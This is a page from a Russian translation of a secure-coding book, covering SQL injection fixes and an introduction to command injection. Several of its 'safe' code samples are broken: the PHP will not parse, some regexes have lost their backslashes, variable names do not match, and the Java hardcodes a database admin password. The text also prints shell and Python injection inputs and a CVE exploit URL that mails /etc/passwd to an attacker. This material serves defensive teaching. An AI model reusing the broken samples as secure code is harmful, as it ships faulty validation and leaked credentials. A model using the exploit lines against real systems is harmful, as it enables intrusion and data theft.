Текст книги "19 смертных грехов, угрожающих безопасности программ"
Автор книги: Майкл Ховард
Жанр: Зарубежная компьютерная литература, Зарубежная литература
сообщить о неприемлемом содержимом
Текущая страница: 7 (всего у книги 26 страниц) [доступный отрывок для чтения: 9 страниц]
Примеры из реальной жизни
Следующие примеры внедрения SQL–команд взяты из базы данных CVE (http://cve.mitre.org).
CAN–2004–0348Цитата из бюллетеня CVE: «Уязвимость, связанная с внедрением SQL в сценарии viewCart.asp из программного обеспечения корзины для покупок компании SpiderSales, позволяет удаленному противнику выполнить произвольный SQL–запрос, воспользовавшись параметром userld».
Многие сценарии в программах SpiderSales не проверяют параметр userld, и этим можно воспользоваться для проведения атаки с внедрением SQL. Успешная атака позволяет противнику получить доступ к интерфейсу администратора SpiderSales и прочитать любую информацию из базы данных электронного магазина.
CAN–2002–0554Цитата из бюллетеня CVE: «Модуль IBM Informix Web DataBlade 4.12 позволяет удаленному противнику обойти контроль доступа и прочитать произвольный файл путем атаки с внедрением SQL через HTTP–запрос».
Модуль Web DataBlade для базы данных Informix SQL динамически генерирует HTML–страницу на основе данных. Уязвимость отмечена в нескольких версиях Web DataBlade. Можно внедрить SQL–команды в любой запрос, обрабатываемый этим модулем. Результатом может стать раскрытие секретной информации или повышение уровня доступа к базе данных.
Искупление греха
Простейший и наиболее безопасный способ искупления – никогда не доверять входным данным, на основе которых формируется SQL–запрос, и пользоваться подготовленными или параметризованными предложениями (prepared statements).
Проверяйте все входные данныеЗаймемся для начала первой рекомендацией: никогда не доверять входным данным. Следует всегда проверять, что данные, подставляемые в SQL–предложение, корректны. Если вы работаете на языке достаточно высокого уровня, то проще всего воспользоваться для этого регулярным выражением.
Никогда не применяйте конкатенацию для построения SQL–предложенийСледующая рекомендация состоит в том, чтобы никогда не строить SQL–предложения посредством конкатенации или замены подстроки. Никогда! Пользуйтесь только подготовленными или параметризованными запросами. В некоторых технологиях это называется связыванием параметров (binding). В примерах ниже продемонстрированы некоторые из таких безопасных конструкций.
Примечание. Во всех примерах информация о параметрах соединения не хранится в тексте программы; мы вызываем специальные функции, которые считывают данные из пространства приложения.
public string Query(string Id) {
string ccnum;
string sqlstring = "";
// пропускаем только корректные ID (от 1 до 8 цифр)
Regex r = new Regex(@"^d{1,8}$");
if (!r.Match(Id).Success)
throw new Exception("Неверный ID. Попробуйте еще раз.");
try {
SqlConnection sqlConn = new SqlConnection(GetConnection);
string str = "sp_GetCreditCard";
cmd = new SqlCommand(str, sqlConn);
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.Add("@ID", Id);
cmd.Connection.Open();
SqlDataReader read = myCommand.ExecuteReader();
ccnum = read.GetString(0);
}
catch (SqlException se) {
throw new Exception("Ошибка – попробуйте еще раз.");
}
}
<?php
$db = mysqli_connect(getServer(), getUid(), getPwd());
$stmt = mysqli_prepare($link, "SELECT ccnum FROM cust WHERE id=?");
$id = $HTTP_GET_VARS["id"];
// пропускаем только корректные ID (от 1 до 8 цифр)
if (preg_match('d{1,8}$/',$id);
mysqli_stmt_bind_param($stmt, "s", $id);
mysqli_stmt_execute($stmt);
mysqli_stmt_bind_result($stmt, $result);
mysqli_stmt_fetch($stmt);
if (empty($name)) {
echo "Результата нет!";
} else {
echo $result;
}
else {
echo "Неверный ID. Попробуйте еще раз.");
}
?>
Версии PHP ниже 5.0 не поддерживают связывания параметров с помощью показанной выше функции mysqli_prepare. Однако если для работы с базами данных вы пользуетесь архивом расширений PHP PEAR (PHP Extensions and Applications Repository, http://pear.php.net), то там есть функции DB_common::prepare() и DB_common::query() для подготовки параметризованных запросов.
#!/usr/bin/perl
use DBI;
use CGI;
print CGI::header();
$cgi = new CGI;
$id = $cgi->param('id');
// пропускаем только корректные ID (от 1 до 8 цифр)
exit unless ($id =~ /^[d]{1,8}$);
print "<html><body>";
// Параметры соединения получаем извне
$dbh = DBI->connect(conn(),
conn_name(),
conn_pwd())
or print "Ошибка connect";
# детальная информация об ошибке в $DBI::errstr
$sql = "SELECT ccnum FROM cust WHERE id = ?";
$sth = $dbh->prepare($sql)
or print "Ошибка prepare";
$sth->bind_param(1,$id);
$sth->execute()
or print "Ошибка execute";
# Вывести данные
while (@row = $sth->fetchrow_array ) {
print "@row<br>";
}
$dbh->disconnect;
print "</body></html>";
exit;
public static boolean doQuery(String Id) {
// пропускаем только корректные ID (от 1 до 8 цифр)
Pattern p = Pattern.compile("^\d{1,8}$");
if (!p.matcher(arg).find())
return false;
Connection con = null;
try
{
Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver");
con = DriverManager.getConnection("jdbc:microsoft:sqlserver: " +
"//localhost:1433", "sa", "$3cre+");
PreparedStatement st = con.prepareStatement(
"exec pubs..sp_GetCreditCard ?");
st.setString(1, arg);
ResultSet rs = st.executeQuery();
while (rx.next()) {
// Получить данные из rs.getString(1)
}
rs.close();
st.close();
}
catch (SQLException e)
{
System.out.println("Ошибка SQL");
return false;
}
catch (ClassNotFoundException e)
{
System.out.println("Ошибка во время исполнения");
return false;
}
finally
{
try
{
con.close();
} catch(SQLException e) {}
}
return true;
}
При работе с ColdFusion используйте cfqueryparam в теге <cfquery>, чтобы обезопасить запрос с параметрами.
Не следует исполнять в хранимой процедуре строку, полученную из не заслуживающего доверия источника, как процедуру. В качестве одного из механизмов глубоко эшелонированной обороны можно воспользоваться некоторыми функциями для проверки корректности строкового параметра. В примере ниже проверяется, что входной параметр содержит ровно четыре цифры. Заметим, что длина параметра заметно уменьшена, чтобы усложнить передачу любой другой входной информации.
CREATE PROCEDURE dbo.doQuery(@id nchar(4))
AS
DECLARE @query nchar(64)
IF RTRIM(@id) LIKE '[0-9][0-9][0-9][0-9]'
BEGIN
SELECT @query = 'select ccnum from cust where id = ''' + @id + ''''
EXEC @query
END
RETURN
Или еще лучше – потребуйте, чтобы параметр был целым числом:
CREATE PROCEDURE dbo.doQuery(@id smallint)
В Oracle lOg, как и в Microsoft SQL Server 2005, добавлены совместимые со стандартом POSIX регулярные выражения. Поддержка регулярных выражений реализована также для DB2 и Microsoft SQL Server 2000. В MySQL регулярные выражения поддерживаются с помощью оператора REGEXP. Ссылки на все эти решения вы найдете в разделе «Другие ресурсы».
Дополнительные защитные меры
Есть много других способов уменьшить риск компрометации. Например, в РНР можно задать параметр magic_quotes_gpc=l в файле php.ini. Кроме того, запретите доступ ко всем пользовательским таблицам в базе данных, оставив только право исполнять хранимые процедуры. Это не даст противнику напрямую читать и модифицировать данные в таблицах.
Другие ресурсы
□ Writing Secure Code, Second Edition by Michael Howard and David C. LeBlanc (Microsoft Press, 2002), Chapter 12, «Database Input Issues»
□ Sarbanes–Oxley Act of 2002: www.aicpa.org/info/sarbanes–oxley_summary.htm
□ The Open Web Application Security Project (OWASP): www.owasp.org.
□ «Advanced SQL Injection in SQL Server Applications» by Chris Anley: www. nextgenss.com/papers/advanced_sql_injection.pdf
□ Web Applications and SQL Injections: www.spidynamics.com/whitepapers/ WhitepaperSQLInjection.pdf
□ «Detecting SQL Injection in Oracle» by Pete Finnigan: www.securityfocus.com/ infocus/1714
□ «How a Common Criminal Might Infiltrate Your Network» by Jes–per Johansson: www.microsoft.com/technet/technetmag/issues/2005/01 / AnatomyofaHack/default.aspx
□ «SQL Injection Attacks by Example» by Stephen J. Friedl: www.unixqiz.net/ techtips/sql–injection.html
□ Oracle lOg SQL Regular Expressions: http://searchoracle.techtarget.com/ searchOracle/ downloads/1 Og_sql_regular_expressions.doc
□ «Regular Expressions in T–SQL» by Cory Koski: http://sqlteam.com/ item.asp?itemID= 13947
□ «xp_regex: Regular Expressions in SQL Server 2000» by Dan Farino: www.codeproject.com/managed.cpp/xpregex.asp
□ SQLRegEx: www.krell–software.com/sqlregex/regex.asp
□ «DB2 Bringing the Power of Regular Expression Matching to SQL» www–106.ibm.com/developerworks/db2/library/techarticle/0301stolze/ 0301stolze.html
□ MySQL Regular Expressions: http://dev.mysql.com/doc/mysql/en/Regexp.html
□ Hacme Bank: www.foundstone.com/resources/proddesc/hacmebank.htm
Резюме
Рекомендуется
□ Изучите базу данных, с которой работаете. Поддерживаются ли в ней хранимые процедуры? Как выглядит комментарий? Может ли противник получить доступ к расширенной функциональности?
□ Проверяйте корректность входных данных и устанавливайте степень доверия к ним.
□ Используйте параметризованные запросы (также распространены термины «подготовленное предложение» и «связывание параметров») для построения SQL–предложений.
□ Храните информацию о параметрах соединения вне приложения, например в защищенном конфигурационном файле или в реестре Windows.
Не рекомендуется
□ Не ограничивайтесь простой фильтрацией «плохих слов». Существует множество вариантов написания, которые вы не в состоянии обнаружить.
□ Не доверяйте входным данным при построении SQL–предложения.
□ Не используйте конкатенацию строк для построения SQL–предложения даже при вызове хранимых процедур. Хранимые процедуры, конечно, полезны, но решить проблему полностью они не могут.
□ Не используйте конкатенацию строк для построения SQL–предложения внутри хранимых процедур.
□ Не передавайте хранимым процедурам непроверенные параметры.
□ Не ограничивайтесь простым дублированием символов одинарной и двойной кавычки.
□ Не соединяйтесь с базой данных от имени привилегированного пользователя, например sa или root.
□ Не включайте в текст программы имя и пароль пользователя, а также строку соединения.
□ Не сохраняйте конфигурационный файл с параметрами соединения в корне Web–сервера.
Стоит подумать
□ О том, чтобы запретить доступ ко всем пользовательским таблицам в базе данных, разрешив лишь исполнение хранимых процедур. После этого во всех запросах должны использоваться только хранимые процедуры и параметризованные предложения.
Грех 5.
Внедрение команд
В чем состоит грех
В 1994 году автор этой главы сидел перед экраном компьютера SGI с операционной системой IRIX, на котором отображалась картинка с приглашением ввести имя и пароль. Там была возможность распечатать кое–какую документацию и указать соответствующий принтер. Автор задумался, как это могло бы быть реализовано, ввел строку, никоим образом не связанную с именем принтера, и неожиданно получил интерфейс администратора на машине, к которой у него вовсе не должно было быть доступа. Более того, он даже и не пытался войти.
Это и есть типичная атака с внедрением команды, когда введенные пользователем данные по какой–то причине интерпретируются как команда. Часто такая команда может наделять человека контролем над данными и вообще куда более широкими полномочиями, чем предполагалось.
Подверженные греху языки
Внедрение команд становится проблемой всякий раз, когда данные и команды хранятся вместе. Да, язык способен исключить наиболее примитивные способы внедрения команд за счет подходящего API (интерфейса прикладного программирования), осуществляющего тщательную проверку входных данных. Но всегда остается шанс, что новые API породят доселе неведомые варианты атак с внедрением команд.
Как происходит грехопадение
Внедрение команды происходит, когда непроверенные данные передаются тому или иному компилятору или интерпретатору, который может счесть, что это вовсе не данные.
Канонический пример – это передача аргументов системному командному интерпретатору без какого–либо контроля. Например, в старой версии IRIX вышеупомянутое окно регистрации содержало примерно такой код:
char buf[1024];
snprintf(buf, "system lpr -P %s", user_input, sizeof(buf) – 1);
system(buf);
В данном случае пользователь не имел никаких привилегий, это вообще мог быть любой человек, случайно оказавшийся рядом с рабочей станцией. И достаточно было ему ввести строку FRED; xterm&, как тут же появилось бы окно консоли, поскольку символ ; завершает предыдущую команду системного интерпретатора (shell), а команда xterm создает новое окно консоли, готовое для ввода команд. При этом символ & сообщает системе, что новый процесс нужно запустить, не блокируя текущий. (В Windows символ & имеет тот же смысл, что точка с запятой в UNIX.) А поскольку процесс, контролирующий вход в систему, имел привилегии администратора, то и созданная консоль обладала такими же привилегиями.
Как будет показано ниже, в разных языках есть немало функций, уязвимых для таких атак. Но для успеха атаки с внедрением команды обращение к системному интерпретатору необязательно. Противник мог бы вызвать также интерпретатор самого языка. Это довольно распространенный способ в таких языках высокого уровня, как Perl или Python. Рассмотрим, например, такой код на языке Python:
def call_func(user_input, system_data):
exec 'special_function_%s("%s")' % (system_data, user_input)
Здесь встроенный в Python оператор % работает примерно так же, как спецификаторы формата в функциях семейства printf из стандартной библиотеки С. Он сопоставляет значения в скобках с шаблонами %s в форматной строке. Идея заключалась в том, чтобы вызвать выбранную системой функцию, передав ей введенный пользователем аргумент. Например, если бы строка system_data была равна sample, a user_input – f red, то программа выполнила бы такой код:
special_function_sample(«fred»)
Причем этот код работал бы в том же контексте, что и запустившая его функция exec.
Теперь противник, контролирующий переменную user_input, может выполнить произвольный код на Python. Для этого ему достаточно поставить кавычку, за ней правую скобку и точку с запятой, например так:
fred"); print("foo
Тогда программа выполнит следующий код:
special_function_sample(«fred»); print(«foo»)
В результате будет выполнено не только то, что хотел автор программы, но и напечатана строка foo. Противник может сделать буквально все, что ему заблагорассудится: удалить файлы, к которым имеет доступ программа, или, скажем, создать новое сетевое соединение. Если такая гибкость позволяет противнику расширить свои привилегии, то это уже угроза безопасности.
Многие проблемы такого рода возникают, когда данные и управляющие структуры перемешаны, и с помощью того или иного специального символа противник может переключить контекст с данных на команды. Если речь идет о командных интерпретаторах, то таких волшебных символов тьма–тьмущая. Например, в большинстве клонов UNIX противнику достаточно ввести точку с запятой (конец предложения), обратную кавычку (данные между двумя обратными кавычками исполняются как команда) или вертикальную черту (все следующее за ней относится уже к другому процессу, связанному с первым), и после этого он сможет исполнять произвольные команды. Есть и другие специальные символы, меняющие контекст; мы перечислили лишь самые очевидные.
Для устранения проблем, связанных с запуском команд, часто применяют вызов API, позволяющий запустить программу непосредственно, в обход командного интерпретатора. Например, в UNIX есть семейство функций execv(), которым передается просто имя запускаемой программы и ее параметры.
Это неплохо, но полностью проблему не решает, потому что запущенная программа может сама поместить данные рядом с важными управляющими конструкциями. Предположим, к примеру, что execv() используется для запуска Python–программы, которая затем передает список полученных аргументов функции exec. И мы снова оказываемся в исходной ситуации. Нам встречались программы, в которых через execv() исполнялся файл /bin/sh (это и есть командный интерпретатор), при этом весь смысл execv() теряется.
Родственные грехиЕсть несколько грехов, которые можно считать частными случаями внедрения команд. Ясно, что внедрение SQL – это особый вид атаки с внедрением команд. К той же категории можно отнести атаки на форматную строку, поскольку противник вставляет в переменную, которую программист рассматривал как данные, команды чтения и записи (например, спецификатор %п это команда записи). Но эти частные случаи столь широко распространены, что мы посвятили им отдельные главы.
Та же ошибка лежит в основе кросс–сайтовых сценариев (cross–site scripting), когда в отсутствие должного контроля противник может вставить в данные некоторые управляющие элементы разметки.
Где искать ошибку
Вот основные характерные признаки:
□ команды (или управляющая информация) и данные расположены друг за другом;
□ существует возможность, что данные будут интерпретироваться как команда, зачастую из–за наличия специальных символов, например кавычки и точки с запятой;
□ контроль над исполняемой командой может наделить противника более широкими привилегиями, чем он имел до этого.
Выявление ошибки на этапе анализа кода
Этой ошибке подвержены многочисленные вызовы API и конструкции, встречающиеся в самых разных языках программирования. В ходе анализа кода следует первым делом обращать внимание на те конструкции, которые потенциально можно использовать для вызова командного процессора (входящего в оболочку ОС, базы данных либо интерпретатора самого языка). Нужно выяснить, встречаются ли такие конструкции в программе. Если да, проверьте, предприняты ли адекватные защитные меры. Хотя защита зависит от природы греха (см., например, обсуждение внедрения SQL–команд в грехе 4), но в общем случае рекомендуется скептически относиться к подходу «все кроме», отдавая предпочтение подходу «только такие» (см. ниже раздел «Искупление греха»).
Вот перечень наиболее распространенных конструкций, которые могут стать причиной ошибки.
Тестирование
В общем случае нужно рассмотреть все входные данные, понять, какому интерпретатору команд они могут быть переданы, а затем попробовать включить в тестовые данные различные используемые в этом интерпретаторе метасимволы и посмотреть, что получится. Разумеется, тестовые данные надо подбирать так, чтобы в случае успешного срабатывания также получался какой–то наблюдаемый результат.
Например, если вы хотите проверить, передаются ли данные оболочке UNIX, добавьте двоеточие, а затем попытайтесь отправить себе какое–нибудь электронное письмо. Но если данные заключены в двойные кавычки, то сначала придется вставить завершающую кавычку. В этом случае тестовые данные должны содержать кавычку, за ней точку с запятой, а потом уже команду для отправки почты. Проверьте не только факт получения почты, но и поведение приложения – оно могло аварийно завершиться или сделать еще что–то нехорошее. Необязательно в тесте имитировать настоящую атаку, но надо приблизиться к ней настолько, чтобы выявить проблему. Хотя защитных мер существует много, на практике не стоит проявлять излишнее хитроумие. Обычно достаточно написать простую программу, которая генерирует перестановки различных метасимволов (управляющих символов, имеющих специальный смысл, например ; ) и команд, подает их на вход приложения и отслеживает нежелательные результаты.
Инструменты, предлагаемые компаниями SPI Dynamics и Watchfire, автоматизируют процесс такого тестирования для Web–приложений.
Примеры из реальной жизни
Следующие примеры внедрения команд взяты из базы данных CVE (cve.mitre.org).
CAN–2001–1187Написанный на Perl CGI–сценарий CSVForm добавляет записи в файл в формате CSV (поля, разделенные запятыми). Этот сценарий под названием statsconfig.pl поставляется в составе Web–сервера OmniHTTPd 2.07. После разбора запроса имя файла передается следующей функции в качестве параметра file:
sub modify_CSV
{
if (open(CSV, $_[0])) {
...
}
}
Имя файла никак не контролируется. Поэтому можно добавить в его конец символ открытия канала (|).
Для демонстрации эксплойта достаточно перейти по следующему URL:
http://www.example.com/cgi-bin/
csvform.pl?file=mail%[email protected]</etc/passwd|
В UNIX результатом будет отправка атакующему файла паролей.
Отметим, что строкой %2 О представляется пробел в URL. Декодирование производится перед тем, как данные будут переданы CGI–сценарию.
В наши дни этот эксплойт уже не представляет большой практической ценности, так как в файле паролей в UNIX–системах хранятся только имена пользователей. Но противник может сделать что–то другое, что позволит ему войти в систему, например записать свой открытый ключ в каталог ~/ . ssh/authorized_keys. Или попытаться загрузить на сервер и выполнить произвольную программу, передав в параметре file последовательность байтов, составляющих ее код. Поскольку на машине, где работает этот сценарий, очевидно установлен Perl, то можно было бы написать несложный Perl–сценарий, который устанавливает обратное соединение с машиной противника, по которому тот получает доступ к командной оболочке.
Правообладателям!
Данное произведение размещено по согласованию с ООО "ЛитРес" (20% исходного текста). Если размещение книги нарушает чьи-либо права, то сообщите об этом.Читателям!
Оплатили, но не знаете что делать дальше?